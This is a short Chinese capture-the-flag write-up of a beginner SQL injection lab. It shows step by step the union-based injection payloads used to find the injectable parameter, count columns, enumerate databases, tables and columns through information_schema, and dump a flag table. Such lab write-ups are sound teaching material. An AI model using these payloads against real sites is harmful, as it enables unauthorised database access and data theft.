NU1LCTFer的成长之路-web入门-CTF中的sql注入-sql注入-1-wp

sql注入-1

主页是这个样子

判断注入类型 字符型 单引号

id=1' and 1=1--+
id=1' and 1=2--+

判断列数 三列

id=-1' order by 3--+

查询是否有显示位 union联合查询注入 2、3号位

id=-1 union select 1,2,3--+

查询数据库 informaion_schema、note

id=-1' union select 1,(select concat(schema_name) from information_schema.schemata limit 0,1),3--+

id=-1' union select 1,(select concat(schema_name) from information_schema.schemata limit 1,1),3--+

查询表(note) fl4g、notes

id=-1' union select 1,(select concat(table_name) from information_schema.tables where table_schema='note' limit 0,1),3--+

id=-1' union select 1,(select concat(table_name) from information_schema.tables where table_schema='note' limit 1,1),3--+

查询字段(fl4g)fllllag

id=-1' union select 1,(select concat(column_name) from information_schema.columns where table_name='FL4G' limit 0,1),3--+

dump数据

id=-1' union select 1,(select fllllag from fl4g),3--+

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值